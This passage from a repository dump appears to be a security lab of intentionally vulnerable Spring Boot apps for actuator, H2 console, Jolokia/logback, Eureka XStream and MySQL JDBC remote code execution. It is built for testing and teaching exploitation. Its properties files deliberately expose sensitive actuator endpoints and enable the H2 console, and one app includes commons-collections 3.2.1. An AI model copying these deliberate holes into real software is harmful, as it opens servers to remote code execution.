75 |                 <artifactId>spring-boot-maven-plugin</artifactId>
76 |                 <version>${springboot.version}</version>
77 |             </plugin>
78 |         </plugins>
79 |     </build>
80 | 
81 | </project>


--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/springboot-eureka-xstream-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
 6 | 
 7 | @SpringBootApplication
 8 | @EnableEurekaClient
 9 | public class Application {
10 |     public static void main(String[] args){
11 |         SpringApplication.run(Application.class,args);
12 |     }
13 | }


--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }


--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9093
 2 | server.address=127.0.0.1
 3 | 
 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
 6 | # no configuration required to expose them
 7 | 
 8 | # safe configuration set 0: spring boot 1.0 - 1.4
 9 | #management.security.enabled=true
10 | 
11 | # vulnerable configuration set 1: spring boot 1.5+
12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
13 | #management.security.enabled=false
14 | 
15 | # safe configuration set 1: spring boot 1.5+
16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
17 | #management.security.enabled=false
18 | 
19 | # vulnerable configuration set 2: spring boot 2+
20 | #management.endpoints.web.exposure.include=*
21 | #management.endpoint.env.post.enabled=true
22 | 


--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-h2-database-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 |     <parent>
11 |         <groupId>org.springframework.boot</groupId>
12 |         <artifactId>spring-boot-starter-parent</artifactId>
13 |         <version>2.2.1.RELEASE</version>
14 |     </parent>
15 | 
16 |     <properties>
17 |         <java.version>1.8</java.version>
18 |     </properties>
19 | 
20 |     <dependencies>
21 |         <dependency>
22 |             <groupId>org.springframework.boot</groupId>
23 |             <artifactId>spring-boot-starter-web</artifactId>
24 |         </dependency>
25 | 
26 |         <dependency>
27 |             <groupId>org.springframework.boot</groupId>
28 |             <artifactId>spring-boot-starter-actuator</artifactId>
29 |         </dependency>
30 | 
31 |         <dependency>
32 |             <groupId>org.springframework.cloud</groupId>
33 |             <artifactId>spring-cloud-starter-config</artifactId>
34 |         </dependency>
35 | 
36 |         <dependency>
37 |             <groupId>org.springframework.boot</groupId>
38 |             <artifactId>spring-boot-starter-data-jpa</artifactId>
39 |         </dependency>
40 | 
41 |         <dependency>
42 |             <groupId>com.h2database</groupId>
43 |             <artifactId>h2</artifactId>
44 |         </dependency>
45 | 
46 |     </dependencies>
47 | 
48 |     <dependencyManagement>
49 |         <dependencies>
50 |             <dependency>
51 |                 <groupId>org.springframework.cloud</groupId>
52 |                 <artifactId>spring-cloud-dependencies</artifactId>
53 |                 <version>Hoxton.SR1</version>
54 |                 <type>pom</type>
55 |                 <scope>import</scope>
56 |             </dependency>
57 |         </dependencies>
58 |     </dependencyManagement>
59 | 
60 |     <build>
61 |         <plugins>
62 |             <plugin>
63 |                 <groupId>org.springframework.boot</groupId>
64 |                 <artifactId>spring-boot-maven-plugin</artifactId>
65 |             </plugin>
66 |         </plugins>
67 |     </build>
68 | 
69 | </project>


--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/springboot-h2-database-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | @SpringBootApplication
 7 | public class Application {
 8 |     public static void main(String[] args){
 9 |         SpringApplication.run(Application.class,args);
10 |     }
11 | }


--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }


--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9096
 2 | server.address=127.0.0.1
 3 | 
 4 | # ensure h2 database rce
 5 | spring.jpa.database = MYSQL
 6 | spring.jpa.database-platform=org.hibernate.dialect.MySQL5Dialect
 7 | 
 8 | # enable h2 console jndi rce
 9 | #spring.h2.console.path=/h2-console
10 | spring.h2.console.enabled=true
11 | 
12 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
13 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
14 | # no configuration required to expose them
15 | 
16 | # safe configuration set 0: spring boot 1.0 - 1.4
17 | #management.security.enabled=true
18 | 
19 | # vulnerable configuration set 1: spring boot 1.5+
20 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
21 | #management.security.enabled=false
22 | 
23 | # safe configuration set 1: spring boot 1.5+
24 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
25 | #management.security.enabled=false
26 | 
27 | ## vulnerable configuration set 2: spring boot 2+
28 | #management.security.enabled=false
29 | #management.endpoint.refresh.enabled=true
30 | #management.endpoints.web.exposure.include=env,restart,refresh
31 | management.endpoints.web.exposure.include=*
32 | management.endpoint.restart.enabled=true
33 | 


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-jolokia-logback-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 | 
11 |     <properties>
12 |         <java.version>1.8</java.version>
13 |         <springboot.version>1.4.7.RELEASE</springboot.version>
14 |     </properties>
15 | 
16 |     <dependencies>
17 |         <dependency>
18 |             <groupId>org.springframework.boot</groupId>
19 |             <artifactId>spring-boot-starter-web</artifactId>
20 |             <version>${springboot.version}</version>
21 |         </dependency>
22 | 
23 |         <dependency>
24 |             <groupId>org.springframework.boot</groupId>
25 |             <artifactId>spring-boot-starter-actuator</artifactId>
26 |             <version>${springboot.version}</version>
27 |         </dependency>
28 | 
29 |         <dependency>
30 |             <groupId>org.jolokia</groupId>
31 |             <artifactId>jolokia-core</artifactId>
32 |             <version>1.6.0</version>
33 |         </dependency>
34 |     </dependencies>
35 | 
36 |     <build>
37 |         <plugins>
38 |             <plugin>
39 |                 <groupId>org.springframework.boot</groupId>
40 |                 <artifactId>spring-boot-maven-plugin</artifactId>
41 |                 <version>${springboot.version}</version>
42 |             </plugin>
43 |         </plugins>
44 |     </build>
45 | 
46 | </project>


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/springboot-jolokia-logback-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | @SpringBootApplication
 7 | public class Application {
 8 |     public static void main(String[] args){
 9 |         SpringApplication.run(Application.class,args);
10 |     }
11 | }


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9094
 2 | server.address=127.0.0.1
 3 | 
 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
 6 | # no configuration required to expose them
 7 | 
 8 | # safe configuration set 0: spring boot 1.0 - 1.4
 9 | #management.security.enabled=true
10 | 
11 | # vulnerable configuration set 1: spring boot 1.5+
12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
13 | #management.security.enabled=false
14 | 
15 | # safe configuration set 1: spring boot 1.5+
16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
17 | #management.security.enabled=false
18 | 
19 | # vulnerable configuration set 2: spring boot 2+
20 | #management.endpoints.web.exposure.include=*
21 | #management.endpoint.env.post.enabled=true
22 | 


--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/resources/logback.xml:
--------------------------------------------------------------------------------
 1 | <configuration>
 2 |     <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
 3 |         <withJansi>true</withJansi>
 4 |         <encoder>
 5 |             <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
 6 |         </encoder>
 7 |     </appender>
 8 |     <root level="info">
 9 |         <appender-ref ref="STDOUT" />
10 |     </root>
11 |     <jmxConfigurator/>
12 | </configuration>
13 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-mysql-jdbc-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 | 
11 |     <properties>
12 |         <java.version>1.8</java.version>
13 |     </properties>
14 | 
15 |     <parent>
16 |         <groupId>org.springframework.boot</groupId>
17 |         <artifactId>spring-boot-starter-parent</artifactId>
18 |         <version>2.2.1.RELEASE</version>
19 |     </parent>
20 | 
21 |     <dependencies>
22 |         <dependency>
23 |             <groupId>mysql</groupId>
24 |             <artifactId>mysql-connector-java</artifactId>
25 |             <version>8.0.12</version>
26 |         </dependency>
27 | 
28 |         <dependency>
29 |             <groupId>commons-collections</groupId>
30 |             <artifactId>commons-collections</artifactId>
31 |             <version>3.2.1</version>
32 |             <scope>runtime</scope>
33 |         </dependency>
34 | 
35 |         <dependency>
36 |             <groupId>org.springframework.boot</groupId>
37 |             <artifactId>spring-boot-starter-thymeleaf</artifactId>
38 |         </dependency>
39 | 
40 |         <dependency>
41 |             <groupId>org.springframework.boot</groupId>
42 |             <artifactId>spring-boot-starter-web</artifactId>
43 |         </dependency>
44 |         <dependency>
45 |             <groupId>org.springframework.boot</groupId>
46 |             <artifactId>spring-boot-starter-test</artifactId>
47 |             <scope>test</scope>
48 |         </dependency>
49 |         <dependency>
50 |             <groupId>org.springframework.cloud</groupId>
51 |             <artifactId>spring-cloud-starter-config</artifactId>
52 |         </dependency>
53 |         <dependency>
54 |             <groupId>org.springframework.boot</groupId>
55 |             <artifactId>spring-boot-starter-actuator</artifactId>
56 |         </dependency>
57 |         <dependency>
58 |             <groupId>org.springframework.cloud</groupId>
59 |             <artifactId>spring-cloud-starter</artifactId>
60 |         </dependency>
61 |         <dependency>
62 |             <groupId>org.springframework.boot</groupId>
63 |             <artifactId>spring-boot-starter-data-jpa</artifactId>
64 |         </dependency>
65 |     </dependencies>
66 | 
67 |     <dependencyManagement>
68 |         <dependencies>
69 |             <dependency>
70 |                 <groupId>org.springframework.cloud</groupId>
71 |                 <artifactId>spring-cloud-dependencies</artifactId>
72 |                 <version>Greenwich.SR4</version>
73 |                 <type>pom</type>
74 |                 <scope>import</scope>
75 |             </dependency>
76 |         </dependencies>
77 |     </dependencyManagement>
78 | 
79 |     <build>
80 |         <plugins>
81 |             <plugin>
82 |                 <groupId>org.springframework.boot</groupId>
83 |                 <artifactId>spring-boot-maven-plugin</artifactId>
84 |                 <configuration>
85 |                     <fork>false</fork><!--这里注意这里必须是 false 调试-->
86 |                 </configuration>
87 |             </plugin>
88 |         </plugins>
89 |     </build>
90 | 
91 | </project>


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/springboot-mysql-jdbc-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | 
 7 | @SpringBootApplication
 8 | public class Application {
 9 | 
10 | 
11 |     public static void main(String[] args) {
12 |         SpringApplication.run(Application.class, args);
13 |     }
14 | }
15 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.commands;
 2 | 
 3 | 
 4 | import java.math.BigDecimal;
 5 | 
 6 | 
 7 | public class ProductForm {
 8 |     private Long id;
 9 |     private String description;
10 |     private BigDecimal price;
11 |     private String imageUrl;
12 | 
13 |     public Long getId() {
14 |         return id;
15 |     }
16 | 
17 |     public void setId(Long id) {
18 |         this.id = id;
19 |     }
20 | 
21 |     public String getDescription() {
22 |         return description;
23 |     }
24 | 
25 |     public void setDescription(String description) {
26 |         this.description = description;
27 |     }
28 | 
29 |     public BigDecimal getPrice() {
30 |         return price;
31 |     }
32 | 
33 |     public void setPrice(BigDecimal price) {
34 |         this.price = price;
35 |     }
36 | 
37 |     public String getImageUrl() {
38 |         return imageUrl;
39 |     }
40 | 
41 |     public void setImageUrl(String imageUrl) {
42 |         this.imageUrl = imageUrl;
43 |     }
44 | }
45 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/HelloController.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controllers;
 2 | 
 3 | import org.springframework.stereotype.Controller;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RequestMethod;
 6 | import org.springframework.web.bind.annotation.ResponseBody;
 7 | 
 8 | @Controller
 9 | public class HelloController {
10 |     @ResponseBody
11 |     @RequestMapping(value = {"/"}, method = RequestMethod.GET)
12 |     public String hello(){
13 |         return "Hello";
14 |     }
15 | }
16 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/ProductController.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controllers;
 2 | 
 3 | import code.landgrey.commands.ProductForm;
 4 | import code.landgrey.converters.ProductToProductForm;
 5 | import code.landgrey.domain.Product;
 6 | import code.landgrey.services.ProductService;
 7 | import org.springframework.beans.factory.annotation.Autowired;
 8 | import org.springframework.stereotype.Controller;
 9 | import org.springframework.ui.Model;
10 | import org.springframework.validation.BindingResult;
11 | import org.springframework.web.bind.annotation.PathVariable;
12 | import org.springframework.web.bind.annotation.RequestMapping;
13 | import org.springframework.web.bind.annotation.RequestMethod;
14 | 
15 | import javax.validation.Valid;
16 | 
17 | 
18 | @Controller
19 | public class ProductController {
20 |     private ProductService productService;
21 | 
22 |     private ProductToProductForm productToProductForm;
23 | 
24 |     @Autowired
25 |     public void setProductToProductForm(ProductToProductForm productToProductForm) {
26 |         this.productToProductForm = productToProductForm;
27 |     }
28 | 
29 |     @Autowired
30 |     public void setProductService(ProductService productService) {
31 |         this.productService = productService;
32 |     }
33 | 
34 |     @RequestMapping({"/product/list", "/product"})
35 |     public String listProducts(Model model){
36 |         model.addAttribute("products", productService.listAll());
37 |         return "/product/list";
38 |     }
39 | 
40 |     @RequestMapping("/product/show/{id}")
41 |     public String getProduct(@PathVariable String id, Model model){
42 |         model.addAttribute("product", productService.getById(Long.valueOf(id)));
43 |         return "product/show";
44 |     }
45 | 
46 |     @RequestMapping("product/edit/{id}")
47 |     public String edit(@PathVariable String id, Model model){
48 |         Product product = productService.getById(Long.valueOf(id));
49 |         ProductForm productForm = productToProductForm.convert(product);
50 | 
51 |         model.addAttribute("productForm", productForm);
52 |         return "product/productform";
53 |     }
54 | 
55 |     @RequestMapping("/product/new")
56 |     public String newProduct(Model model){
57 |         model.addAttribute("productForm", new ProductForm());
58 |         return "product/productform";
59 |     }
60 | 
61 |     @RequestMapping(value = "/product", method = RequestMethod.POST)
62 |     public String saveOrUpdateProduct(@Valid ProductForm productForm, BindingResult bindingResult){
63 | 
64 |         if(bindingResult.hasErrors()){
65 |             return "product/productform";
66 |         }
67 | 
68 |         Product savedProduct = productService.saveOrUpdateProductForm(productForm);
69 | 
70 |         return "redirect:/product/show/" + savedProduct.getId();
71 |     }
72 | 
73 |     @RequestMapping("/product/delete/{id}")
74 |     public String delete(@PathVariable String id){
75 |         productService.delete(Long.valueOf(id));
76 |         return "redirect:/product/list";
77 |     }
78 | }
79 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductFormToProduct.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.converters;
 2 | 
 3 | import code.landgrey.commands.ProductForm;
 4 | import code.landgrey.domain.Product;
 5 | import org.springframework.core.convert.converter.Converter;
 6 | import org.springframework.stereotype.Component;
 7 | import org.springframework.util.StringUtils;
 8 | 
 9 | 
10 | @Component
11 | public class ProductFormToProduct implements Converter<ProductForm, Product> {
12 | 
13 |     @Override
14 |     public Product convert(ProductForm productForm) {
15 |         Product product = new Product();
16 |         if (productForm.getId() != null  && !StringUtils.isEmpty(productForm.getId())) {
17 |             product.setId(new Long(productForm.getId()));
18 |         }
19 |         product.setDescription(productForm.getDescription());
20 |         product.setPrice(productForm.getPrice());
21 |         product.setImageUrl(productForm.getImageUrl());
22 |         return product;
23 |     }
24 | }
25 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductToProductForm.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.converters;
 2 | 
 3 | import code.landgrey.commands.ProductForm;
 4 | import code.landgrey.domain.Product;
 5 | import org.springframework.core.convert.converter.Converter;
 6 | import org.springframework.stereotype.Component;
 7 | 
 8 | 
 9 | @Component
10 | public class ProductToProductForm implements Converter<Product, ProductForm> {
11 |     @Override
12 |     public ProductForm convert(Product product) {
13 |         ProductForm productForm = new ProductForm();
14 |         productForm.setId(product.getId());
15 |         productForm.setDescription(product.getDescription());
16 |         productForm.setPrice(product.getPrice());
17 |         productForm.setImageUrl(product.getImageUrl());
18 |         return productForm;
19 |     }
20 | }
21 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.domain;
 2 | 
 3 | 
 4 | import javax.persistence.Entity;
 5 | import javax.persistence.GeneratedValue;
 6 | import javax.persistence.Id;
 7 | import java.math.BigDecimal;
 8 | 
 9 | 
10 | @Entity
11 | public class Product {
12 | 
13 |     @Id
14 |     @GeneratedValue
15 |     private Long _id;
16 |     private String description;
17 |     private BigDecimal price;
18 |     private String imageUrl;
19 | 
20 |     public Long getId() {
21 |         return _id;
22 |     }
23 | 
24 |     public void setId(Long id) {
25 |         this._id = id;
26 |     }
27 | 
28 |     public String getDescription() {
29 |         return description;
30 |     }
31 | 
32 |     public void setDescription(String description) {
33 |         this.description = description;
34 |     }
35 | 
36 |     public BigDecimal getPrice() {
37 |         return price;
38 |     }
39 | 
40 |     public void setPrice(BigDecimal price) {
41 |         this.price = price;
42 |     }
43 | 
44 |     public String getImageUrl() {
45 |         return imageUrl;
46 |     }
47 | 
48 |     public void setImageUrl(String imageUrl) {
49 |         this.imageUrl = imageUrl;
50 |     }
51 | }
52 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/repositories/ProductRepository.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.repositories;
2 | 
3 | import code.landgrey.domain.Product;
4 | import org.springframework.data.repository.CrudRepository;
5 | 
6 | 
7 | public interface ProductRepository extends CrudRepository<Product, Long> {
8 | }
9 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.services;
 2 | 
 3 | import code.landgrey.commands.ProductForm;
 4 | import code.landgrey.domain.Product;
 5 | 
 6 | import java.util.List;
 7 | 
 8 | 
 9 | public interface ProductService {
10 | 
11 |     List<Product> listAll();
12 | 
13 |     Product getById(Long id);
14 | 
15 |     Product saveOrUpdate(Product product);
16 | 
17 |     void delete(Long id);
18 | 
19 |     Product saveOrUpdateProductForm(ProductForm productForm);
20 | }
21 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductServiceImpl.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.services;
 2 | 
 3 | import code.landgrey.commands.ProductForm;
 4 | import code.landgrey.converters.ProductFormToProduct;
 5 | import code.landgrey.domain.Product;
 6 | import code.landgrey.repositories.ProductRepository;
 7 | import org.springframework.beans.factory.annotation.Autowired;
 8 | import org.springframework.stereotype.Service;
 9 | 
10 | import java.util.ArrayList;
11 | import java.util.List;
12 | 
13 | 
14 | @Service
15 | public class ProductServiceImpl implements ProductService {
16 | 
17 |     private ProductRepository productRepository;
18 |     private ProductFormToProduct productFormToProduct;
19 | 
20 |     @Autowired
21 |     public ProductServiceImpl(ProductRepository productRepository, ProductFormToProduct productFormToProduct) {
22 |         this.productRepository = productRepository;
23 |         this.productFormToProduct = productFormToProduct;
24 |     }
25 | 
26 | 
27 |     @Override
28 |     public List<Product> listAll() {
29 |         List<Product> products = new ArrayList<>();
30 |         productRepository.findAll().forEach(products::add); //fun with Java 8
31 |         return products;
32 |     }
33 | 
34 |     @Override
35 |     public Product getById(Long id) {
36 |         return productRepository.findById(id).orElse(null);
37 |     }
38 | 
39 |     @Override
40 |     public Product saveOrUpdate(Product product) {
41 |         productRepository.save(product);
42 |         return product;
43 |     }
44 | 
45 |     @Override
46 |     public void delete(Long id) {
47 |         productRepository.deleteById(id);
48 | 
49 |     }
50 | 
51 |     @Override
52 |     public Product saveOrUpdateProductForm(ProductForm productForm) {
53 |         Product savedProduct = saveOrUpdate(productFormToProduct.convert(productForm));
54 | 
55 |         System.out.println("Saved Product Id: " + savedProduct.getId());
56 |         return savedProduct;
57 |     }
58 | }
59 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9097
 2 | 
 3 | #management.security.enabled=false
 4 | management.endpoint.restart.enabled=true
 5 | management.endpoint.refresh.enabled=true
 6 | management.endpoints.web.exposure.include=env,restart,refresh
 7 | 
 8 | # ===============================
 9 | # = DATA SOURCE
10 | # ===============================
11 | # Set here configurations for the database connection
12 | spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test
13 | spring.datasource.username=root
14 | spring.datasource.password=root
15 | spring.datasource.driver-class-name=com.mysql.jdbc.Driver
16 | 
17 | # Keep the connection alive if idle for a long time (needed in production)
18 | spring.datasource.testWhileIdle=true
19 | spring.datasource.validationQuery=SELECT 1
20 | # ===============================
21 | # = JPA / HIBERNATE
22 | # ===============================
23 | # Show or not log for each sql query
24 | spring.jpa.show-sql=true
25 | # Hibernate ddl auto (create, create-drop, update): with "create-drop" the database
26 | # schema will be automatically created afresh for every start of application
27 | spring.jpa.hibernate.ddl-auto=create-drop
28 | # Naming strategy
29 | spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl
30 | spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy
31 | # Allows Hibernate to generate SQL optimized for a particular DBMS
32 | spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect
33 | 


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/list.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org">
 3 | <head>
 4 |     <title>Spring Core Online Tutorial - List Products</title>
 5 |     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
 6 | 
 7 |     <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css"
 8 |           th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}"
 9 |           rel="stylesheet" media="screen"/>
10 | 
11 |     <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js"
12 |             th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script>
13 | 
14 |     <link href="../../static/css/spring-core.css"
15 |           th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/>
16 | </head>
17 | <body>
18 | <div class="container">
19 |     <div th:if="${not #lists.isEmpty(products)}">
20 |         <h2>Product List</h2>
21 |         <table class="table table-striped">
22 |             <tr>
23 |                 <th>Id</th>
24 |                 <th>Description</th>
25 |                 <th>Price</th>
26 |                 <th>Image URL</th>
27 |                 <th>List</th>
28 |                 <th>Edit</th>
29 |                 <th>Delete</th>
30 |             </tr>
31 |             <tr th:each="product : ${products}">
32 |                 <td th:text="${product.id}"></td>
33 |                 <td th:text="${product.description}"></td>
34 |                 <td th:text="${product.price}"></td>
35 |                 <td th:text="${product.imageUrl}"></td>
36 |                 <td><a th:href="${'/product/show/' + product.id}">View</a> </td>
37 |                 <td><a th:href="${'/product/edit/' + product.id}">Edit</a> </td>
38 |                 <td><a th:href="${'/product/delete/' + product.id}">Delete</a> </td>
39 |             </tr>
40 |         </table>
41 |     </div>
42 |     <div class="row">
43 |         <div class="col-sm-3">
44 |             <a href="/product/new">New Product</a>
45 |         </div>
46 |     </div>
47 | </div>
48 | 
49 | </body>
50 | </html>


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/productform.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org">
 3 | <head>
 4 |     <title>Spring Core Online Tutorial - Product Form</title>
 5 |     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
 6 | 
 7 |     <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css"
 8 |           th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}"
 9 |           rel="stylesheet" media="screen"/>
10 | 
11 |     <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js"
12 |             th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script>
13 | 
14 |     <link href="../../static/css/spring-core.css"
15 |           th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/>
16 | </head>
17 | <body>
